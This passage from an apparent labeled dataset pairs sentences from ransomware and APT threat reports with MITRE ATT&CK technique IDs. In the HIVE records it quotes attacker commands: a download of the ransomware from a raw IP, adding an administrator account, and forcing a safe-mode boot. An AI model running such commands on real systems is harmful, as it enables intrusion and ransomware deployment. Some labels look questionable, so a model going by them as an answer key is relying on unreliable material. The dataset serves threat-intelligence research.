[], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Comparison between Trigona leak site (left) and BlackCat (ALPHV) leak site (right).Similarities to CryLock Ransomware Trigona operators share overlap in tactics, techniques and procedures (TTPs) with CryLock ransomware operators, suggesting that ransomware threat actors that once deployed CryLock ransomware might have moved on to deploying Trigona ransomware.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The email associated with Trigona ransom notes analyzed by Unit 42 (phandaledr@onionmail[.]org) was mentioned in an online forum discussing CryLock ransomware, as shown below in Figure 5. Figure 5.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "A user on SafeZone, a Russian anti-malware forum, seeking help for Crylock ransomware.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "This does not necessarily imply a flaw or malicious quality to the legitimate product being abused.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Deleting Volume Shadow Copies Disconnecting all network drives Unit", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "DC2.exe DC2.exe contains a password protected version of Mimikatz, which is a tool used for extracting sensitive information such as passwords and authentication credentials from a Windows operating system.", "labels": ["T1003.001", "T1027"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "When the executable is run, the threat actor is prompted for a password to continue.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Credential Manipulation Mimikatz allows the user to manipulate the dumped credentials, such as changing passwords, creating new user accounts and adding users to groups.", "labels": ["T1003.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Modifies the Windows registry to allow remote desktop connections.", "labels": ["T1021.001", "T1112"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Inno Setup is a free software installer for Windows programs.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "T1098.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Indicator Removal: File Deletion Trigona operators delete files such as mim.exe, mim32.exe, zam.exe and zam.bat to cover their tracks.", "labels": ["T1070.004"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Mim32.exe is associated with Mimikatz while zam.exe and zam.bat are associated with NetScan.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Remote Desktop Protocol Trigona operators utilize RDP to move laterally in the victim’s environment.", "labels": ["T1021.001"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "TA0008 Lateral Movement T1570.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Lateral Tool Transfer Trigona operators use Splashtop to transfer malicious tools from computer to computer in the victim’s environment.", "labels": ["T1570"], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Prisma Cloud will detect any instance of this malware being executed through properly configured Defender agents using Wildfire.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "[T1548.002] Cortex XDR Prevent Configure Behavioral Threat Protection under the Malware Security Profile Enable Anti-Exploit Protection Configure Restrictions Security Profile Enable Anti-Malware Protection Privilege Escalation, Defense Evasion", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The below courses of action mitigate the following techniques: Remote Access Software [T1219],", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "Product Protection Guide.", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"} {"sentence": "The APT group utilizes spear-phishing techniques to obtain initial access, employing a combination of outdated Microsoft Office document vulnerabilities, novel evasion techniques, and highly potent backdoor malware.", "labels": ["T1072"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "Established in 1999, its primary objective is to foster global economic cooperation and address key challenges impacting the worldwide economy.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "The G20 holds annual summits where leaders convene to discuss and coordinate security, economic, and financial policies.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "rundll32.exe C:\\Users\\AppData\\Local\\Temp\\c6gt.b StartA DLL Downloader (“c6gt.b”)", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "Figure 6 – Export functions of the DLL loader When the loader is executed through rundll32.exe, it collects various data from the victim’s computer.", "labels": ["T1218.011"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "With its extensive capabilities, this backdoor possesses the ability to perform a variety of operations, including: Capture screenshots of victims’ system Obtain information about processes and services running on the machine Create or terminate processes Delete/Create/Rename/Read/Write files and retrieve file attributes Retrieve TCP/UDP tables Retrieve information about registry keys Obtain titles of all top-level windows Trigger a shutdown of the targeted computer Gather computer-specific information such as computer name, username, gateway address, network adapter details, Windows version, and user type Conclusion The SharpPanda APT group is comprised of exceptionally sophisticated cyber-TAs who execute targeted and extended attacks against specific targets, including governments, organizations, and industries, with the objectives of spying, disruption, or monetary gain.", "labels": ["T1012", "T1016", "T1057", "T1082", "T1113"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "SharpPanda has been associated with multiple cyber espionage campaigns, employing strategies such as spear-phishing, manipulation through social engineering, and exploiting zero-day vulnerabilities to gain illicit access to networks.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "Turn on the automatic software update feature on your computer, mobile, and other connected devices.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "Monitor the beacon on the network level to block data exfiltration by malware or TAs.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"} {"sentence": "One objective of this research is to discover new techniques being used in the wild, so we can develop new detection and response capabilities.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "These extra steps would make it extremely difficult, if not impossible, for a victim to effectively use their security tools to defend endpoints after a certain point in the attack.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "/priority normal http://79.137.206.47/int.exe C:\\Windows\\int.exe The malicious actor then began using the remote process execution tool PSExec to execute batch files (rdp.bat) that would cause registry changes to enable Remote Desktop sessions (RDP) using reg.exe.", "labels": ["T1021.001", "T1059.003", "T1112"], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "C:\\WINDOWS\\system32\\net1 localgroup Administrators /add bcdedit /set {default} safeboot minimal reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "-t 10 -c \"Computer Will Now Restart In SAFE MODE...\" Rapid7 also observed the malicious actor extracting HIVE ransomware payload using 7zip's console application (7zr.exe) from encrypted 7zip archive (int.7z) with a simple password (123):\"C:\\windows\\7zr.exe\" x c:\\windows\\int.7z -p123 -oc:\\windowsThe malicious actor then manually executed the ransomware (int.exe) once with only the required username:password combination passed to the -u flag.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "This presumably encrypted the local drive and also all network shares the user had access to:\"C:\\Windows\\int.exe\" -u :\"The malicious actor also manually executed the 64 bit version of the ransomware (int64.exe) once on a different host with the -no-discovery flag.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "In order to respond and halt the ransomware, each host must be physically visited for shutdown.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "{default} safebootLastly, the malicious actor also manually executed the payload a few times on systems that had not been put into safeboot minimal and rebooted.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "Rapid7 notes that ThreatLocker have reported on similar activity in their knowledge base article entitled Preventing BCDEdit From Being Weaponized.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "The local module utilizes the LookupPrivilegeValueW and AdjustTokenPrivileges that Windows API calls on its own process via GetCurrentProcess and OpenProcessToken to obtain SeDebugPrivilege privileges.", "labels": ["T1106"], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "Lastly, the discovery module will use NetServerEnum to identify available Windows hosts within the domain/workgroup.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "However, since the malicious actor is rebooting into safemode minimal state, endpoint protection software and networking will not be running while the endpoint is executing ransomware.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"} {"sentence": "Without the correct byte map, the encrypted shellcode, including all components and relevant data, cannot be correctly decrypted, making decryption and analysis of the shellcode more time-consuming for analysts.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "Execution of the first-stage PowerShell downloader after passing through blacklisting Unique encryption Byte mapping is a considerably simple technique.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "While analysts will see the pattern of the arrangement, it is unlikely that they would be able to decrypt this without the correct sequence of bytes used in the mapping.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "If this pattern is a text or a string, it would not be difficult to apply brute force.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "We have also found that each sideloader DLL has its own pair of executable and byte map, and a decryption attempt returns an incorrectly rearranged shellcode if used with another ViperSoftX-related executable.", "labels": ["T1574.002"], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "Afterward, the shellcode will then decrypt and load the main ViperSoftX DLL embedded within the carrier.", "labels": ["T1140"], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "Considering the former is a type of script malware, however, this technique for encryption-decryption is easily more discernable during analysis because both the encrypted data and the mapping are in the same file.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "It still downloads a PowerShell code (the main ViperSoftX script) to crawl through different paths in the system for cryptocurrency wallets.", "labels": ["T1083", "T1105"], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "The group behind this malware has been doing this for a number of years, and it knows its target systems based on the simultaneous use of techniques to steal cryptocurrencies and passwords.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "On the other hand, considering the monthly change of C&C servers and communication exchange, we believe in the possibility of another group involved based on the different coding or C&C scheme.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "We do not discount the possibility that these can either be older samples or different operators entirely.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "Download security solutions that can detect and block malicious components in seemingly legitimate and non-malicious software and applications.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"} {"sentence": "Enforce phishing-resistant MFA to the greatest extent possible.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team gained persistent access to the organization’s network, moved laterally across the organization’s multiple geographically separated sites, and eventually gained access to systems adjacent to the organization’s sensitive business systems (SBSs).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "During Phase II, the red team attempts to trigger a security response from the organization’s people, processes, or technology.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "CISA’s red team gained initial access to two organization workstations at separate sites via spearphishing emails.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "After gaining access and leveraging Active Directory (AD) data, the team gained persistent access to a third host via spearphishing emails.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Initial Access and Active Directory Discovery The CISA red team gained initial access [TA0001] to two workstations at geographically separated sites (Site 1 and Site 2) via spearphishing emails.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1003.001] with a tool called nanodump, exported the output, and processed the output offline with Mimikatz.", "labels": ["T1003.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team then deployed Rubeus to capture the incoming DC TGT [T1550.002], [T1557.001].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1021.002], which was successful.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Site 5 was broken into a private and a public subnet and only DCs were able to cross that boundary.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "To move between the subnets, the team moved through DCs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team was then able to move from the private DC to workstations in the private subnet.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "When possible, the team remotely enumerated the local administrators group on target hosts to find a valid user account.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1071], which are disabled by default starting with Windows Server 2016.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team achieved root access to three SBS-adjacent workstations but was unable to move laterally to the SBS servers:", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The database backup identified both the user of the SBS 1 administrator account (USER 2) and the user’s workstation (Workstation 4), which the MDM software remotely administered.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team gained root access to workstations connected to MDM 1—specifically, the team accessed Workstation 4—by: Selecting an MDM user from the plaintext credentials in PowerShell scripts on MDM 1.", "labels": ["T1552.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team planned to move from Workstation 4 to the bastion host to SBS 1.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "[T1110.002].", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Figure 2: Red Team Cyber Threat Activity: Post ExploitationCommand and Control The team used third-party owned and operated infrastructure and services", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team maintained multiple Cobalt Strike servers hosted by a cloud vendor.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Domain Trust Discovery [T1482] Account Discovery: Domain Account", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Develop response plan None Workstation Admin Lateral Movement—Workstation to Workstation Use a previously compromised workstation admin account to upload and execute a payload via SMB and Windows Service Creation, respectively, on several target Workstations.", "labels": ["T1078", "T1543.003", "T1569.002", "T1570"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Valid Accounts: Domain Accounts [T1078.002] Remote Services: SMB/Windows Admin Shares, Sub-technique [T1021.002] Create or Modify System Process:", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "N/A End User Reporting Investigate end user reported event Triage compromised host Develop response Plan Four users reported event to defensive staff Findings Key Issues The red team noted the following key issues relevant to the security of the organization’s network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Most of the red team’s Phase II actions failed to provoke a response from the people, processes, and technology defending the organization’s network.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Additionally, throughout Phase I, the team received no deconflictions or confirmation that the organization caught their activity.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Compromise of the krbtgt account could provide adversaries with the ability to sign their own TGTs, facilitating domain access years after the date of compromise.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Ineffective separation of privileged accounts.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team observed inconsistencies on servers and workstations within the domain, including inconsistent membership in the local administrator group among different servers or workstations.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Potentially unwanted programs.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "This is potentially due to domain passwords being required to be changed every 60 days.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "While the technology was deployed, it was not applied uniformly, and there was a significant portion of users without smartcard protections enabled.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team was unable to crack any of the hashes obtained from the 610 service accounts pulled.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "See Microsoft’s KRBTGT account maintenance considerations guidance for more information.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Hosts with Unconstrained Delegation enabled Remove Unconstrained Delegation from all servers.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Risks of that nature should typically be acknowledged and prioritized at the most senior levels of an organization.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team used third-party owned and operated infrastructure throughout their assessment for C2.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Execution Technique Title ID Use Native API T1106 The team created a policy via the MDM API, which downloaded and executed a payload on a workstation.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "User Execution T1204 Users downloaded and executed the team’s initial access payloads after clicking buttons to trigger download and execution.", "labels": ["T1204.002"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "During Phase II, the team created local admin accounts and an AD account; they added the created AD account to a domain admins group.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Event Triggered Execution: Windows Management Instrumentation Event Subscription T1546.003", "labels": ["T1047"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team used WMI Event Subscriptions to move laterally between sites.", "labels": ["T1047"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Privilege Escalation Technique Title ID Use Abuse Elevation Control Mechanism T1548 The team elevated user account privileges to administrator by modifying the user’s account via adding Create Policy and Delete Policy permissions.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team obtained the cached credentials from a SharePoint server account by taking a snapshot of lsass.exe with a tool called nanodump, exporting the output and processing the output offline with Mimikatz.", "labels": ["T1003.001"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "The team queried the AD for information about the network's sites and subnets.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Network Service Discovery T1046 During Phase II", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "System Owner/User Discovery T1033", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "This technique relies on anonymous SMB pipe binds, which are disabled by default starting with Server 2016.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "During Phase II, the team established sessions that originated from a target Workstation and from the DC directly to an external host over a clear text protocol.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Proxy: External Proxy T1090.002 The team used redirectors to redirect C2 traffic between the target organization’s network and the team’s C2 servers.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "Proxy: Domain Fronting T1090.004 The team used domain fronting to disguise outbound traffic in order to diversify the domains with which the persistent beacons were communicating.", "labels": ["T1090"], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"} {"sentence": "CSC 3 Continuous Vulnerability Assessment CSC 5 Secure Configuration of hardware and software CSC 9 Limitation of Network Ports and Protocols CSC 12 Boundary Defense CSC 18 Application Software Security Endpoint Security Platform 10.7, Threat Prevention, Application Control (MAC) Network Security Platform (NSP)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7 Threat Prevention Persistence Modify Registry key – Create own key (T1112)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR Defensive Evasion Disabling Security Tools (T1562.001) ESET, Trend Micro, MS CSC 5 Secure Configuration CSC 8 Malware Defenses Defensive Evasion Process Injection: Reflective DLL (T1055)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "CSC 4 Control Admin Privileges CSC 5 Secure Configuration CSC 6 Log Analysis Endpoint Security Platform 10.7, Threat Prevention, MVISION EDR Collection Data from network shared drive (T1039)", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "Of course, you can do that manually by downloading a list of indicators and searching with available tools.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "However, if you have MVISION EDR, you will be able to that search right from Insights, saving precious time.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "Hunting the attacker can be a game of inches so every second counts.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "However, just as attackers work together, defenders must collaborate internally and externally to build an adaptive security architecture which will make it harder for threat actors to succeed and build resilience in the business.", "labels": [], "doc_title": "McAfee Defenders Blog NetWalker"} {"sentence": "This group is a “Ransomware as a Service” (RaaS) organization known to target medium and large companies.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Although some exact details of the threat actor’s actions are still unknown, the evidence gathered has allowed for inferences into many of the gaps.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The use of such an account would have allowed the Threat Actor to pose as the compromised user without creating extra \"junk\" in the user's inbox which could raise suspicion.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The phishing emails contained what was later determined to be \"Qakbot,\" a sophisticated trojan.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The client’s Cisco “Advanced Malware Protection” (AMP) detected a connection with one of these IP's over TCP port 2222.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The Suricata engine did detect these connection attempts, however no alert was raised by the Packet Inspection Engine.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "This was determined through a review of files found on one of the initially compromised hosts.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Due to the lack of visibility, we were unable to find the initial connection from the two \"Patient Zeros\" to the local Domain Controller.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "However, after reaching the local DC, the attacker was able to gain a better lay of the land and observe the presence of the other two domains.", "labels": ["T1078"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "For example, mid-stage infections showed calls to \"146[.]70[.]86[.]44\"[gerhiles[.]com].", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Although no sample was able to be provided for the Client.exe (which is believed to be the ESXi variant), Quadrant was able to obtain a copy of \"Client_s.exe\" for Windows hosts.", "labels": ["T1059.003"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The attack on the Commerce domain does not appear to have been effective, outside of one host in a training environment.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "EXFILTRATION", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "This was not used for C2 activities but only for receiving the exfiltrated data.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "In this case, the analyst investigating the alert observed that this was technically a False Positive, as the command was not used in an abnormal fashion.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Just over 30 hours after the initial infection.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Following the initial attempt to lock out the threat actor, the threat actor retaliated.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Because of the observation, hunting, and superior teamwork between the Quadrant team and the client, only a handful of ESXi servers were encrypted.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Had the team not taken action to sever the Internet and domain connections, the encryption command would likely have replicated throughout the Construction and Subsidiary environments.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "But there were many lessons learned.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The phishing attachment was submitted to the target in a response to an ongoing conversation that was being held between a member of Quadrant’s client and the TPV.", "labels": ["T1566.001"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Cold Email: \"Solution for Issue 37\":", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "However, it is important to note that the site seems to be owned by a legitimate venture capital group, which may indicate a compromise of their organization or that the email account was spoofed.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The two samples produced different ISO names: Claim_Copy_1796.iso and Claim_Copy_5898.iso.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "The command is called with echo off, so that no text will be displayed to the user.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "It is interesting to note that other IP’s were attempted to be reached over port TCP 2222, however, this C2 node was the only IP to return any data over TCP port 2222, which may be why this alert triggered.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Because of the amount of data outbound, this also may indicate some data exfiltration or interaction with the downloaded second stage from the C2.", "labels": ["T1041"], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "During the lab testing of the tox5 sample, we observed the sample gain persistence through duplication of the sample.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "This may be direct translations, however adding any additional character following the Russian phrases changes the translation to \"Lock on Path\", and \"launch with balls\" respectfully.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Two file names were observed during the incident \"Client_s.exe\" and \"Client.exe.\"", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "BCDEdit is a command line program in windows which is used to modify the “Boot Configuration Data.”", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Following infection, the host restarts into safe mode where the encryption action takes place: Following the encryption, the computer then restarts into standard mode.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "During the end state of the active compromise, two flags were observed in Clipboard logging, \"-bomb\" and \"-forcepath\".", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "INDEX", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Default IP is the host FakeDNS is installed on.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Aside from the logging connection to host 3, all other connections are forced through Host 1.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "[CISCO-SECUREENDPOINT] Exploit attempt was prevented 5008355", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Disable Windows Defender Command 5008366", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "Disable Realtime Monitoring Command 5008367", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "[WINDOWS-CLIPBOARD] netstat output v1 5008378 [WINDOWS-CLIPBOARD] netstat output v2 5008379", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "[WINDOWS-CLIPBOARD] proxychains command 5008382", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "5008361 [WINDOWS-SYSMON] CMD executed from spool directory 5008345", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"} {"sentence": "This study on an active campaign delves into the structure, goals, and requirements of the organizations involved, and provides an opportunity to conduct wider intelligence analysis and insights in the development of effective countermeasures.", "labels": [], "doc_title": "Earth Pretas Cyberespionage Campaign Hits Over 200"} {"sentence": "An analysis of their deployments also revealed a level of coordination and collaboration.", "labels": [], "doc_title": 